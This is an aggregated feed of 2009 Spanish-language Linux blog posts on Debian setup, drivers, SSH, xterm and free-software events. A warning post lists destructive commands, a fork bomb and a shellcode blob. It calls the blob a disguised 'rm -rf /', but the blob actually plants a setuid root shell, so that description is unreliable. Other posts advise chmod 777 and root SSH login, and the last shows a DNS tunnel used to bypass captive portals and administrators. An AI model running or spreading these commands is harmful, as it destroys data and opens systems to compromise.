tenia buenos programas los que mas ocupaba eran los que traia por defecto el gimp, el open-office, el pidgin y como no sabia compartir  archivos no podia escuchar musica pero para eso tenia cds y los podia escuchar el sonido era bueno la interfaz, del rythmbox para mi era mejor que el wlmp 11 si el 11, me los ordenaba y no estaban todos distorsionados ademas tenia pulgins, luego, luego me propuse a instalarlo en mi pc, pero no iba a ser egoista mi familia la ocupaba la maquina tambien y no iba a salir de campeon a instalar algo que no conocian y que yo un poco, pero, se podia hacer un doble "booteo" asi que aprendi a hacerlo no era nada raro o dificil todo era de clicks solo te tenias que fijar en darle en particionado guiado usar espacio libre en el disco y si no te ibas a manual le hacias una particion y a instalarla en ella todos era cliks y paso me eche mi disco!, si lo "formatie" todo si todo por ... no me fije y me crei la gran ... y me lo eche Dios! aun me parece increible pero bueno si habian cosas importantes ahi pero se recuperaban volvi a instalar el xp y luego el ubuntu y hoy si me fije y se instalo perfecto, empeze a trabajar en el, me sentia comodo descubri el software libre, conoci los nombre Linus Torvalds, Richard Stallman, y me fije que esto del open-source y el software-libre era todo buena accion, claro todo el mundo intenta lucrarse de algo pero esto era de buena manera era puro usuario desarrollador y podias colaborar aunque fuera con difucion en fin, me puse a buscar los efecto de escritorio que tanto queria, pero claro mi tarjeta de video era una reverenda ... asi que no se pudo, pero solo era algo minimo al fin y al cabo podia oir, musica, navegar en internet, no tenia virus! algo que me abundaba en window$ pero bueno aun asi no tenia mis programitas de win y de cierto modo los extrañaba asi que busque como instalarlos en Ubuntu jaja y wine, al principio opte por virtualizar pero para que, wine no era perfecto pero corria el office 2007 casi como en win, el mostwanted igual al win, asi que quede tranquilo y llego el momento de imprimir a isntalar la impresora lo malo es que era una ip1700 nada que ver con Ubuntu no salia en la lista de impresorar solo tenia soporte para macs y win, la impresora es buena ahorrativa, imprime bien es buena solo que no habian contrloladores, pero encontre una comunidad de ubuntu y lo habian logrado la habian instalado asi que segui las instrucciones y quedo fue rapido y facil, quede tranquilo poco a poco fui dependiendo menos del window$ hacia mis trabajos, reportes, hasta las presentaciones para mis exposiciones en open-office y me salian bien mi estilo de ver la informatica habia cambiado ya no "crackeaba" programas por que la mayoria para ubuntu eran gpl y gratis ademas me servian eran mas que suficiente, luego me actualize a la 9.04 me gusto pero le faltaba algo no se no me sentia tan bien como antes, busque otra distro y me halle Debian Lenny quise dar el salto de un solo pero me di cuenta que era como mas dificil, no estaba lleno de script como ubuntu y no tengo suficiente ancho de banda como para bajarme un dvd pero bueno lo intente, y este tambien lo virtualize en ubuntu 9.04 si estaba bonito y todo pero no se no me gustabas del todo, y debian parecia mas conservador no habia empresa detras de esta distro solo su comunidad me gusto la idea era puro software libre y me gustaba ese concepto pero todavia no me pase segui con mi querido Ubuntu, pero seguia de cerca de a debian veia en que mas era diferente cosas por el estilo, no era muy diferente a ubuntu excepto por los scripts y unas opciones, pero me siento mejor con debian bueno espere hasta vacaciones para dar el "salto" y nada a la hora de instalarlo perfecto, funcionaba bien y todo era bastante estable solo que los paquetes eran algo antiguos, tenia el open-office 2.4 y el gimp 2.4 eso no me gusto pero descubri que podia pasar a testing y bien hice el update se tardo pero tenia tiempo solo era de cambiar el nombre de la rama en los repositorios, lo actualize y a pesar que es testing (squeeze) es bastante estable igual que lenny pero comite un grave error (ya me habia conseguido una nvidia gforce 8400 asi que ya usaba el preciado compiz desde que me pase por completo al ubuntu 8.10) me puse a tocar la configuracion de las X el entorno grafico y me lo ... y no podia iniciar en modo grafico intente de todo al menos de los que encontraba en internet pero no, nada funciona instale de nuevo gnome, las reconfigure pero nada no iniciaba, me toco formatear de nuevo pero esta vez deje lenny, pero cree un sistema mixto ahora tengo los paquetes a la ultima y nada que estoy feliz con mi debian lenny, ahora se viene lo mas duro de mi vida como usuario linux, entro a primero de informatica, y en mi colegio es puro windows solo a tercer año le enseñan mas a fondo "linux" solo ubuntu pero bueno ya veremos. Al final linux no es dificil, yo no sabia nada de informatica de hecho window$ lo siento mas dificil para mi, para mi y no se creo que he encontrado un sistema operativo bueno, tengo todo "legalmente" no tengo problemas con debian y bueno es perfecto para mi.

Nov 29, 2009

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Instalar Debian en Acer aspire one D250-1116



Bueno hace un tiempo que tenia ganas de regalarme un netbook hasta que me decidi por una acer aspire one, y quiero compartir mi experiencia con ustedes espero que a alguien le sirva.

A falta de un CD-ROM externo, me tire por hacer la instalacion con USB, lo unico que me tube que bajar el netinst de lenny mas el boot.img.gz y a echar manos a la obra.

Despues de terminar la instalacion me di cuenta que no me reconocia la eth0 ni la wlan0, me preocupe un poco ya que en ningun momento la deje que iniciara con windows ni para probar las interfaces. Asi que me vi obligado a descargar todos los paquetes necesarios para llevar a cabo la instalacion, pero googleando por ahi me di cuenta que no era el unico con el mismo problema.

lista de paquetes a instalar.

module-assistant
madwifi-source
madwifi-tools
linux-headers-2.6.26-2-686-common
wireless-tools
pciutils
build-essential

todos estos paquetes se pueden descargar de http://www.debian.org/distrib/packages ahi hay un buscador.

Bueno configuremos (fuente especial esdebian.org)

En Debian Lenny, las tarjetas inalámbricas Atheros usan por default el módulo "ath5k", pero este tiene problemas con algunos modelos de inalámbricas con chip Atheros, entre ellos el "AR242x". Por lo que hay que eliminarlo del kernel:

# rmmod ath5k

Luego hay que ponerlo en la lista negra para evitar que se cargue nuevamente. Para ello se agrega lo siguiente en "/etc/modprobe.d/blacklist":

blacklist ath5k

En su lugar se usará el módulo "ath_pci" de los drivers madwifi.

- Antes hay que instalar las cabezeras del nucleo:

# aptitude install linux-headers-`uname -r`

Instalar module-assistant

# aptitude install module-assistant

Instalar los fuentes madwifi:

# aptitude install madwifi-source madwifi-tools

Compilar e instalar:

# module-assistant auto-install madwifi

Cargar el módulo en el núcleo:

# modprobe ath_pci

Agregar "ath_pci" al final del archivo "/etc/modules" para que se cargue en el arranque del sistema:

# nano /etc/modules

Para saber el nombre que se ha asignado al dispositivo inalámbrico se ejecuta:

# iwconfig

Debe estar instalado el paquete "wireless-tools" para ejecutar el comando anterior.

- Activar la tarjeta:

# ifconfig ath0 up

Listar redes disponibles:

# iwlist ath0 scanning

Instalar algunas herramientas wireless:

# aptitude install wireless-tools wpasupplicant wifi-radar

- Agregar lo siguiente al final del archivo "/etc/network/interfaces":

auto ath0
iface ath0 inet dhcp

Bueno despues de esto nuestra netbook tiene que estar trabajando perfectamente, hay algunas configuraciones mas las cuales puedes hacer con la info de http://wiki.debian.org/DebianAcerOne.


Gustavo Burgos (gnburgos)

Nov 27, 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Problemas con el dominio BlogDRAKE.net

Ayer hubo un problema con el dominio del sitio que se solvento a medias. Al parecer alguien mas trato de secuestrar el nombre:



Photobucket


Algunos DNS aun muestran el dominio erróneo, si se cambia de DNS si se puede accesar al sitio. Por ejemplo este DNS de Telmex Peru funciona:


216.244.191.36

Los DNS de OpenDNS no muestran BlogDRAKE. Estaremos notificando cualquier avance en este problema. Pasen la voz en sus Blogs.

Actualización 24/11/2009:
Tenemos activo el dominio: http://blogdrake.org

Actualización 25/11/2009:
El dominio esta en estado de transferencia, aun no se ha terminado la transacción.

Actualizacion 27/11/2009:
http://drakedalfa.blogspot.com/2009/11/blogdrakenet-revive-en-blogdrakeorg.html 
Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

Activando soporte Oracle Instant Client + PHP5 en Debian Linux

Para conectarse a una base de datos Oracle con PHP 5, se puede hacer a través del "Oracle Instant Client" y el modulo oci8 de pear.

Primero se debe descargar los paquetes "Basic" y "SDK" desde http://www.oracle.com/technology/tech/oci/instantclient/instantclient.html. En mi caso, los archivos fueron

  • instantclient-basic-linux32-10.2.0.3-20061115.zip
  • instantclient-sdk-linux32-10.2.0.3-20061115.zip

Creamos directorios y descomprimimos

# mkdir -p /opt/oracle/instantclient
# cd /opt/oracle/instantclient
# unzip instantclient-basic-linux32-10.2.0.3-20061115.zip
# unzip instantclient-sdk-linux32-10.2.0.3-20061115.zip

Agregamos las librerías de oracle a las librerías del sistema

# echo /opt/oracle/instantclient >> /etc/ld.so.conf
# ldconfig

Creamos los vínculos simbólicos en caso de que el comando anterior no lo haya hecho:

# cd instantclient_10_2
# ln -s libclntsh.so.10.1 libclntsh.so
# ln -s libocci.so.10.1 libocci.so

Instalamos paquetes necesarios para la configuración del módulo oci8, entre ellos Pear

# apt-get install php-pear php5-dev build-essential

En teoría el comando pecl install oci8 debería de funcionar, pero aparentemente no puede trabajar con las librerías de Oracle Instanclient, así que procedemos a ejecutar los pasos manualmente

# mkdir -p /usr/local/src
# cd /usr/local/src
# pecl download oci8
# tar xfz oci8-1.3.5.tgz
# cd oci8-1.3.5
# phpize
# ./configure --with-oci8=shared,instantclient,/opt/oracle/instantclient/instantclient_10_2
# make
# make install

El nombre del archivo oci8-1.3.5.tgz cambiará dependiendo de nuevas versiones

Luego activamos el módulo oci8 en el archivo php.ini (/etc/php5/apache2/php.ini and /etc/php5/cli/php.ini), con la siguiente línea:

extension=oci8.so

Este paso tarde o temprano tendrá que ejecutarse, asi que mejor de una vez configuramos el archivo  tnsnames.ora

#  mkdir -p /opt/oracle/instantclient/instantclient_10_2/network/admin

Editamos el tnsnames.ora de acuerdo a nuestras necesidades.

# vi /opt/oracle/instantclient/instantclient_10_2/network/admin/tnsnames.ora

Ahora se procede a reiniciar Apache y listo :) , podemos auxiliarnos de phpinfo() para comprobar que el módulo oci8 está cargado.

Nov 20, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Programacion Linear: Debian GLP-Solve

Hace ya un par de años que llevé Metodos de Optimización (MOP115) o su equivalente Investicagion de Operaciones (IOP115) en la Facultad de Ingeniería y Arquitectura en la Universidad de El Salvador, cosa que mi memoria no recuerda muy bien.

Hoy un compañero que lleva Manejo de Software para otras ingenierias (Que no es Ing. de Sistemas) le dejaron una tarea de explicar un programa para esa materia, y encontró GLP-Solve [1] que resulve problemas de programación lineal.

Como todo debianero, puse a mi disposicion mis habilidades (con ayuda de leprosys [2]) instalandolo en un sistema Debian Lenny GNU/Linux.

Manos a la obra

Lo primero es descargar el archivo compreso:
Descargar GLP-SOLVE
$wget http://carleos.epv.uniovi.es/~juan/dist/GLP-Solve-1.2.tar.gz
Autenticarse como usuario root
$su

Instalar las dependencias:

libgtk2.0-dev
libgnomeui-dev
libgtksourceview-dev
libgnomeprintui2.2-dev
lp-solve
liblpsolve55-dev

# aptitude install libgtk2.0-dev libgnomeui-dev libgtksourceview-dev libgnomeprintui2.2-dev lp-solve liblpsolve55-dev

Hacer un enlace de la libreria compilada liblpsolve55.so en /usr/lib/ con:
# ln -s /usr/lib/lp_solve/liblpsolve55.so /usr/lib/

Descomprimir el archivo

# cd ./GLP-Solve-1.2

Empezar la compilacion.
Configurar el sistema

# liblpsolve_CFLAGS=-I/usr/include/lpsolve liblpsolve_LIBS="/usr/lib/lp_solve/liblpsolve55.so" ./configure --prefix=/usr --docdir=/usr

Compilar
# make


Instalarlo
# make install
# exit

Ejecutarlo con:
$ glp-solve






[1] http://carleos.epv.uniovi.es/~juan/
[2] http://www.leprosys.info/
Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

5 comandos de Linux que nunca deberías ejecutar.

Cuando una persona es nueva en el mundo de Linux, es muy probable encontrarse con personas mal intencionadas que intentaran engañarlo a través de foros, chats, etc. para que por medio de comandos usted pueda dañar sus archivos, equipo o peor aun el sistema operativo por completo, para evitar que esta situación peligrosa pueda ocurrir, he aquí una lista de comandos sumamente peligrosos en Linux y que usted debería evitar.

1. rm -rf /
Este comando forzara a borrar recursivamente todos los archivos dentro del directorio raíz.

2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esta es la versión en hexadecimal de [rm-rf /] que pueden engañar incluso a los usuarios más experimentados de Linux.

3. mkfs.ext3 /dev/sda

Esto reformateara todos los archivos del dispositivo que se menciona después del comando mkfs.

4. : (){:|:&};:

Conocido como «forkbom», este comando le dirá a su sistema que ejecute un gran numero de procesos hasta que el sistema se congele, esto a menudo puede conducir a la corrupción de datos.

5. mv /home/yourhomedirectory/* /dev/null

Este comando moverá todos los archivos almacenados dentro de su directorio personal a un lugar que no existe, por lo que nunca volvería a ver sus archivos de nuevo.

Por supuesto hay muchos otros comandos que son peligrosos en Linux que no se mencionan aquí, así que si tienes algo que añadir, por favor, compártelo con nosotros a través de comentarios.

PD: No me hago responsable por pedida de datos al ejecutar algún comando mencionado en este post en un entorno Linux de producción ;) , si realmente quiere probar alguno de estos comandos te recomiendo que lo hagas por medio de una maquina virtual. Están advertidos.

Saludos!!

Entradas relacionadas

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Configuracion de Autenticacion con Apache

Bueno la verda es que quiero compartir un experiencia que acabo de tener con
un servidor Apache de la empresa donde actualmente laburo.

La cuestion es que se renovo el sitio web de la empresa y tube que poner a Apache, Mysql, y PHP en linea para que empezaran a trabajar de manera optima.
Todo iva de lujo hasta que me tope con que debia de autenticar un directotio en
Apache, el cual es donde se haran las modificacion pertinentes para la paguina
por lo mismo no puede quedar sin seguridad.

Bueno eche manos a la obra en /var/www/directorio donde tenia que crear el .htpasswd y el .htaccess los cuales son los de importancia a la hora de autenticar el directorio.

empese por crear el .htpasswd
htpasswd -c /var/www/directorio usuario

seguidamente cree el .htaccess
nano .htaccess /var/www/directorio
AuthType Basic
AuthName "Restricted Files"
AuthUserFile /var/www/directorio
Require user usuario

Bueno ya solo me queda con figurar mi httpd.conf el cual solo hago un pequeño cambio en

<directory>
AllowOverride All
</directory>

con esto basta reiniciamos apache y todo listo.

/etc/init.d/apache2 restart

bueno pero en realidad lo que me intereso tanto de esto es que, pase un dia entere para hacerlo funcionar, y toda la cuestion era que yo estaba reiniciando el apache no apache2, aunque la verda no entiendo que hace en init.d apache y apache2 y me limite de imvestigar porque es un server viejo y ademas tiene suse.

Gustavo Burgos (gnburgos)

Programas de 32 bits no disponibles en AMD64


Todos los que hemos hecho el salto a 64 bits en linux nos encontramos con este problema (el mas grande de todos diría yo), estamos acostumbrados a conseguir todo (o casi todo) nuestro software de los repositorios e incluso algunos programas no-libres que estamos a veces obligados a conseguir por culpa de los amigos que tenemos o la empresa en la que laboramos que lo #exige, o incluso los que nos gusta jugar con consolas que ya no estan vigentes (emulacion) a veces no encontramos disponible el emulador al que estamos acostumbrados, aqui pongo una guía para instalar 2 aplicaciones no disponibles para AMD64 en debian:

1-ZSNES: Este es para mi el mejor emulador de SNES existente, no solo es potente, rápido y muy similar a lo que era la propia consola, ademas de todo es libre, el problema es que por alguna razon que no conozco no es posible compilarlo para 64 bits (si lo intente y varias veces), por lo que no existe un deb para AMD64, lo que hice para hacerlo funcionar fue lo siguiente:

* Bajar la version de 32 bits de packages.debian.org, les recomiendo que bajen la versión disponible para su rama de distro (stable, testing o unstable), y lo instalan de esta manera:

dpkg -i --force-architecture zsnes_****_i386.deb

Cambien la censura de asteriscos por la version que bajaron, luego bajen la única dependencia (que yo necesité) que necesita en 32 bits para funcionar, igual que con el emulador bajen la version de 32 bits de libao2, pero en lugar de instalarla con dpkg (por que puede reemplazar la version para 64 bits creando un error enorme en el sistema) la descomprimimos con (ark en KDE, fileroller en Gnome, Xarchiver en XFCE y LXDE):

ar -x libao***i386.deb

Y luego descomprimir el archivo “data” dentro de la resultante:

tar -xvf data.tar.gz 

entramos a usr/lib (dentro de la carpeta data, no en el sistema) y copiamos todo el contenido hacia /usr/lib32/ (esto si en el sistema):

cp -r * /usr/lib32/

ADVERTENCIA: no lo copien a /usr/lib o /usr/lib64, eso hara ESTRAGOS en el sistema.

Una vez listo damos en la consola el comando:

zsnes

Y veremos la pantalla del emulador listo para jugar \o/.

2- skype

Este es EVIL, por obligacion (unos primos en el norte que no conocen linux) tengo que usar este ya que es la unica forma de hacer una videoconferencia decente con gente que odia el mazinger, bueno para instalar este adefesio en AMD64 es necesaria una enorme cantidad de dependencias, skype lo instalamos igual como zsnes (solo que ese lo bajan de la página de la empresa skype no de debian), y lo instalan asi:

dpkg -i --force-architecture skype******.deb

Las dependencias son las siguientes, (bajar todas de packages.debian.org):

-libqt4-dbus
-libqt4-network
-libqtqui4
-libqtcore4
-libqt4-xml

Hagan el proceso que describí anteriormente para libao y skype funcionara en AMD64

Nov 18, 2009

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

Software Libre y desarrollo tecnológico de El Salvador

IntroducciónEn este artículo se trata de dar una visión general sobre Software Libre y su mayor exponente, el Sistema Operativo GNU/Linux (Un Sistema Operativo esta compuesto por una serie de programas que tratan de facilitar la interacción del usuario de computadora con el hardware de la misma), Filosofía de desarrollo, características principales, situación de software libre en Latinoamérica,

Nov 17, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Problema X11 Caraceteres

Hace cuatro dias, despues de trabajar un rato en mi debian con gnome, de repente aparecieron estos caracteres en donde deberia aparecer texto.


Despues de esperar, y buscarle solución, intenté:

dpkg-reconfigure fontconfig-config
dpkg-reconfigure fontconfig

Pero sin ningun resultado.
Al ver los logs de .xsession-errrors sale:

(gnome-appearance-properties:8121): Pango-WARNING **: shaping failure, expect ugly output. shape-engine=’BasicEngineFc’, font=’ESP 14′, text=’Spanish (Español) ¡Hola!’

SOLUCION:

Cambiar los permisos de las fuentes, por que al no leerlas no halla como renderizarlas y solo hacemos :
$su
#chmod 777 -R /usr/share/fonts

Y LISTO, ya funciona como deberia.. kkzo

Nov 01, 2009

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Instalando y Configurando OpenSSH para conexiones seguras

vamos a configurar el servicio ssh para conexiones seguras, no sin
antes dejar una definición de lo que es el servicio. fuente Wikipedia.

Servidor ssh

SSH (acrónimo del inglés Secure SHell, cuya traducción sería intérprete de comandos seguro) es un protocolo de comunicación para controlar un ordenador en remoto a través de una CLI (Command Line Interface -Interfaz de Línea de Comandos- también llamada: "shell"). Sirve para conectarnos con un ordenador ante el cual no estamos físicamente, bien porque está en una sala de servidores refrigerada, bien porque no tiene teclado ni pantalla, por ejemplo los que están apilados en un rack (un armario donde se guardan ordenadores como los servidores web, de correo electrónico, firewalls, etc...).

Es parecido a Telnet, con la gran diferencia de que en el caso de ssh, la información viaja codificada con lo cual es muchísimo más segura, en el caso de conectarnos a un ordenador que esté en nuestra LAN no es tan importante, pero si nos conectamos a través de Internet es fundamental, casi diría que imprescindible, usar un protocolo seguro como SSH.

Instalando servidor SSH

# apt-get install openssh-server

Ahora vamos a configurar el archivo, el fichero de ssh el cual se encuentra en

/etc/ssh/sshd_config

y configuramos los siguientes parámetros según nuestra conveniencia

Port 22
Protocol 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
UsePrivilegeSeparation yes
KeyRegenerationInterval 3600
ServerKeyBits 768
SyslogFacility AUTH
LogLevel INFO
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
IgnoreRhosts yes
RhostsRSAAuthentication no
HostbasedAuthentication no
RhostsRSAAuthentication
PermitEmptyPasswords no
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
UsePAM yes

Algunos comandos básicos para la conexión a host o servidores remotos.

$ ssh host_remoto
$ ssh usuario_remoto@host_remoto

Gustavo Burgos (gnburgos)

Oct 18, 2009

Xterm, La terminal “minima”??


Xterm es la terminal por defecto incluída en la mayoría de distribuciones y la terminal de Xorg, la conocemos como una “pantallita negra con una fuente diminuta”, para ejemplo les pongo la xterm por defecto:

xterm cruda

xterm cruda

Como pueden ver es una terminal con letra pequeñisima (miniatura, si la estas viendo en una netbook necesitas una lupa o al hubble), se puede cambiar en el momento con el menu de control+click derecho.

Para configurar esta terminal tan pequeña es necesario escribir en un archivo llamado ~/.Xresources, que aunque no es exclusivo del xterm es la mejor forma de configurarlo.

Primero creamos el archivo con una terminal o lo abrimos con gedit  o tu editor de texto por defecto:

editor .Xresources

y ponemos un par de líneas de ejemplo:

XTerm*Background: Black
XTerm*Foreground: White

Esto lo que hace es (obviamente) definir el color de background y de foreground de xterm (fondo y color de letra). Si las fuentes miniatura son un problema entonces puedes agregar esto a tu .Xresources:

XTerm*faceName: DejaVu Sans Mono:pixelsize=12

Si tienen instalada la tipografía DejaVu (si usas una distribucion linux es muy posible que ya la tengas), ahora te preguntaras ¿puedo usar fuentes XFT en  xterm?

Si, si puedes, solo tienes que especificarlo.

Xterm no incluye la funcion de pestañas que si tienen otras terminales, mas que todo por que fue diseñada como aplicacion Unix (hacer una cosa y hacerla bien), pero podemos tener pestañas si combinamos xterm con otra herramienta Unix, GNU-screen.

Primero instalen screen:

apt-get install screen

Luego creamos un archivo .screenrc para que screen nos permita visualizar mejor como funciona:

vbell off                             # Que suene en lugar de mostrar aviso visual
startup_message off          # Que no muestre la pantalla de bienvenida
hardstatus alwayslastline
attrcolor b ".I"                   # Permitir colores intensos (bold)
termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm' # AB=background, AF=foreground
defbce "on"
term screen-256color         #permitir 256 colores aprovechable por vim y mutt
maptimeout 0
defc1 off

Luego guardamos el archivo y para iniciarlo podemos hacerlo con xterm -e screen o scribir screen dentro de la xterm ya abierta.
el resultado es este:

xterm con modificaciones

xterm con modificaciones

Micro man de screen

Ctrl+a c "Control y a al mismo tiempo y luego c": crear nueva pestaña
Ctrl+a A : Cambiar nombre de pestaña
Ctrl+Space o barra de espacio: pasar a la pestaña siguiente
Ctrl+bkspc: Retroceder a la pestaña de la izquierda (si es la primera pasa a la ultima)

Para cerrar pestañas solo das el comando exit en la que desees cerrar

Para cargar los cambios al .Xresources sin reiniciar la sesion damos este comando y listo:

xrdb -merge .Xresources

#fin

Oct 15, 2009

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

Comandos Utiles – lshw

Un comando de mucha utilidad si queremos conocer detalles sobre nuestro hardware es lshw, la forma de uso es sencilla :D

lshw [formato] [opciones... ]

donde formato puede ser:

-X Inicia la GUI (si esta disponible)
-html activa el modo HTML
-xml activa el modo XML
-short muestra rutas del hardware
-businfo muestra información del bus

y opciones puede ser:

-enable TEST habilita las pruebas
-disable TEST deshabilita las pruebas
-class CLASS limita la salida a una clase
-C CLASS alias para -class CLASS

un ejemplo sencillo de uso seria ejecutar lo siguiente en una terminal:

lshw -C cpu

Con esto estamos indicando que nos muestre la información de la clase CPU, por lo tanto nos mostrara la información disponible de nuestro procesador, en mi caso devolvió lo siguiente :D

*-cpu
description: CPU
product: Intel(R) Celeron(R) D CPU 3.06GHz
vendor: Intel Corp.
physical id: 4
bus info: cpu@0
version: 15.6.5
serial: 0000-0F65-0000-0000-0000-0000
slot: Socket 775
size: 3066MHz
capacity: 4GHz
width: 64 bits
clock: 133MHz
capabilities: boot fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx x86-64 constant_tsc up pebs bts pni dtes64 monitor ds_cpl cid cx16 xtpr pdcm lahf_lm
configuration: id=0

Existen mas combinaciones disponibles, para obtener información de diferentes dispositivos de hardware, quieres saber mas?

man lshw
:D además puedes encontrar mas información aquí

Saludos!!

Entradas relacionadas

Oct 14, 2009

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

Screenshots de Octubre 09

Dejo algunas capturas de pantalla de mi escritorio correspondiente al mes de octubre :D

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Entradas relacionadas

Jul 27, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Mi fin de semana...

Después de dar el aviso de la demo de SQL Injection, por IRC se armó la mini-reunión el día viernes y debido a que por estar travesiando cosas que no debía me había tirado el apache/mysql le pedí a vostorga que llevara su laptop con una instalación LAMP por default, así que el viernes estuvimos un rato reunidos con elsimio y vostorga, no fue una demo porque la gente de la bolsa tiene como "medida

Jun 29, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Asamble General Extraordinaria de Linux SV y otras Comunidades de Software Libre

el día de ayer se celebro una reunión de LinuxSV junto a otras Comunidades de Software Libre de El Salvador para tratar de reorganizarnos, estuvo todo muy bien; ya días no se celebraba una la ultima fue en diciembre del 2005, el extracto de lo hablado lo pueden ver acá.

Jun 19, 2009

David Mejia

David Mejia
DAMR.NET » linux feed

Ubuntu Invade a Microsoft El Salvador

Érase una vez  el proyecto Debian GNU/Linux en 1993, que luego por la apertura de su software, nace el proyecto Ubuntu Linux for Human Beings en el 2004, donde luego surgieron las comunidades las cuales son encargadas de difundir el software en cada territorio. En el caso de El Salvador, existe la comunidad Ubuntu de El Salvador.

Sucedió lo que jamás iba a pensar que sucedería jeje, pero unos jóvenes de la comunidad Ubuntu de El Salvador, se dieron a la tarea de ir a regalar CD’s de Ubuntu en la mera mera oficina principal de Microsoft El Salvador, es decir, es como irse a meter a la cueva del León, cualquiera pensaría “nos van a echar de acá”, pero lo curioso de todo es que al final, les terminaron pidiendo CD’s de Ubuntu :D aunque estuvieron a punto de caer, ya que fueron a pedir CD’s de Windows 7 RC1, pero no tenían, hubiera sido un FAIL para ellos.

Así que esta vez  Microsoft de El Salvador “You Have Been Trolled” (en el buen sentido).

Lean la historia completa en el blog de DK Cross, quien fue el autor principal de los hechos :D

Saludos!!

May 26, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

TuxPuck

Por sugerencia de johpunk instale tuxpuck en mi debian y luego de nancear un rato que no hacia ni un pinche gol, al final le pude ganar a arcana y luego a jugar en contra de tux, después de una nanceada buena le pude hacer un gol, creo que ya tengo diversión por otro buen tiempo hasta que logre ganarle a tux, les dejo el reto que le hagan un gol y si pueden le ganan.

May 08, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Mysql : restaurar password root

Restaurar la clave de root para mysql en Debian lenny.

1- Detener el servicio de mysql
/etc/init.d/mysql stop
2- Iniciar mysql para que no pida autenticacion
mysqld --skip-grant-tables&
3- Ingresar a la consola de mysql
mysql
4- Cambiar la clave con:
UPDATE mysql.user SET Password=PASSWORD('claveroot') WHERE User='root';
5- Detener el servicio de nuevo
/etc/init.d/mysql stop
6- Iniciar el servicio de nuevo
/etc/init.d/mysql start
7- Ingresar como el usuario root
mysql -p


Saludos

Apr 20, 2009

David Mejia

David Mejia
DAMR.NET » linux feed

Festival Latinoamericano de Software Libre, FLISOL 2009

Como ya es tradición desde hace 4 años, en el mes de Abril se celebra el Festival Latinoamericano de Software Libre (FLISOL), realizandose en todos los países de América Latina, y El Salvador también lo celebrará en grande.

¿Qué habrá en el FLISOL?

Si quieres conocer más acerca del Software Libre, o eres una persona que ha estado usando Windows o Software Privativo toda tu vida, y quieres experimentar el uso del Software Libre y GNU/Linux, te recomiendo grandemente que asistas al FLISOL, porque ahí habrá:

  • Charlas
  • Instalación y Quemado de Distros
  • Conocimiento de Alternativas libres de mucho software de utilidad
  • Compartimiento de experiencias, porque encontrarás mucha gente con experiencia que puede resolver muchas dudas que tengas.

¿Donde Puedo Llegar?

Habrán dos sedes

¿A qué horas?

La hora de inicio será a las 9:00am y terminará a las 4:30pm

Recursos

Si hay algo más que agregar, favor enviar un comentario complementando la información.

Están cordialmente invitados!!

Saludos

Mar 07, 2009

/me va mañana para Guatemala

y eso, amablemente y gentilmente la gente de Debian Guatemala y la Gente del Grupo de usuarios de la Universidad de San Carlos tienen un evento sobre Software libre este sábado(mañana), y tengo la oportunidad de compartir un buen momento con los hermanos «chapines», así que este fin de semana estoy fuera de San Salvador y espero saludar de nuevo desde Antigua Guatemala el sábado en algún bar que tenga wifi :) , así que si alguien de .gt lee y no se entero en sus listas de correo ni en sus websites es momento de buscar debian-gt y LUGUSAC en google :)

Mar 05, 2009

Todos necesitamos internet

Y en algunas ocasiones, nos encontramos en lugares donde en realidad no podemos tener internet.
Uno de los casos comunes es en los aeropuertos/hoteles, donde existen portales cautivos que nos tratan de hacer pagar para tener servico de internet.
en otros lugares, tenemos proxys y administradores que no quieren que el internet fluya, pero bueno, para todo existe solución.

En el mejor de los casos tener un servidor escuchando SSH en un puerto común como 443 ayuda mucho, pero en el peor de los casos, solo tenemos salida de DNS, y nada mas, hasta autenticar.
para esas soluciones es bueno tener iodine:

así:
En el servidor remoto:
(puede ser en un screen que es como /me hace)
# iodined -f 10.0.0.1 usuario
Password: *********

Listo, recordemos que la IP no sea usada por una LAN del Servidor, en mi caso el servidor no tiene un DNS activo, pero existen workarrounds para esos casos.

ahora, en el cliente:
iodine -f XXX.XXX.XXX.XXX usuario
Ponemos nuestro password y listo
tenemos un tunel por DNS, podemos probar hacer ping al host remoto por el tunel (usando la IP que pusimos del lado del cliente)

Bueno, ahora:
